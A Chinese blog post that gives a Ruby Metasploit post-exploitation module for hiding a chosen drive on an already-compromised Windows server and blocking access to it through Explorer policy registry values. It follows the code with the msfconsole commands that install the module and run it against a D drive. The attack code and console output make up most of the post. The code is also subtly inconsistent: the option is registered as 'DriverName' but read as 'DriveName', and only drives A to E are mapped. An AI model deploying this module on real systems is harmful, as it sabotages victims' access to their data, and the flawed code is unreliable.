轉載請註明出處：https://blog.csdn.net/l1028386804/article/details/86383118

一個可以禁用Windows 作業系統上的指定硬碟的程式，這裡我們將指令碼命名為：disable_drives_by_binghe.rb。

具體內容如下：

##
# Author 冰河
# Date 2019-01-12
# Description 禁用Windows作業系統上的指定硬碟的程式
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'

class Metasploit3 < Msf::Post
  include Msf::Post::Windows::Registry
  
  def initialize
    super(
        'Name'        => 'Driver Disabler',
        'Description' => 'This Modules Hides and Restrict Access to a Drive',
        'Author'      => 'binghe',
        'License'     => MSF_LICENSE
    )
    register_options(
    [
      OptString.new('DriverName', [true, 'Please SET the Drive Letter'])
    ], self.class)
    end
   
   def run
    drive_int = drive_string(datastore['DriveName'])
    key1 = "HKLM\\SoftWare\\Microsoft\\WIndows\\CurrentVersion\\Policies\\Explorer"
    exists = meterpreter_registry_key_exist?(key1)
    if not exists
      print_good("Hidden Drive") 
      meterpreter_registry_setvaldata(key1, 'NoDrives', drive_int.to_s, 'REG_DWORD', REGISTRY_VIEW_NATIVE)
      print_good("Restricting Access to the Drive")
      meterpreter_registry_setvaldata(key1, 'NoViewOnDrives', drive_int.to_s, 'REG_DWORD',REGISTRY_VIEW_NATIVE)
    else
      print_good("Key Exist, Skipping and Creating Values")
      print_good("Hiding Drive")
      meterpreter_registry_setvaldata(key1, 'NoDrives', drive_int.to_s, 'REG_DWORD', REGISTRY_VIEW_NATIVE)
      print_good("Restricting Access to the Drive")
      meterpreter_registry_setvaldata(key1, 'NoViewOnDrives', drive_int.to_s, 'REG_DWORD',REGISTRY_VIEW_NATIVE)
     end
     print_good("Disabled #{datastore['DriveName']} Drive") 
    end
    
   def drive_string(drive)
    case drive
      when 'A'
        return 1
      when 'B'
        return 2
      when 'C'
        return 4
      when 'D'
        return 8
      when 'E'
        return 16
       end
    end 
end
 

注意：使用此指令碼的前提是我們已經經過一系列的滲透拿到了目標Windows伺服器的System許可權。

接下來我們將指令碼傳到Kali的/usr/share/metasploit-framework/modules/post/windows/manage目錄下，此時，我們在Kali下操作：

msfconsole
msf auxiliary(scanner/ssh/ssh_brute_by_binghe) > use post/windows/manage/disable_drives_by_binghe 
msf post(windows/manage/disable_drives_by_binghe) > show options

Module options (post/windows/manage/disable_drives_by_binghe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   DriverName                   yes       Please SET the Drive Letter
   SESSION                      yes       The session to run this module on.

msf post(windows/manage/disable_drives_by_binghe) > set DriverName D
DriverName => D
msf post(windows/manage/disable_drives_by_binghe) > run
 

此時，檢視目標伺服器的D盤確實被成功禁用了。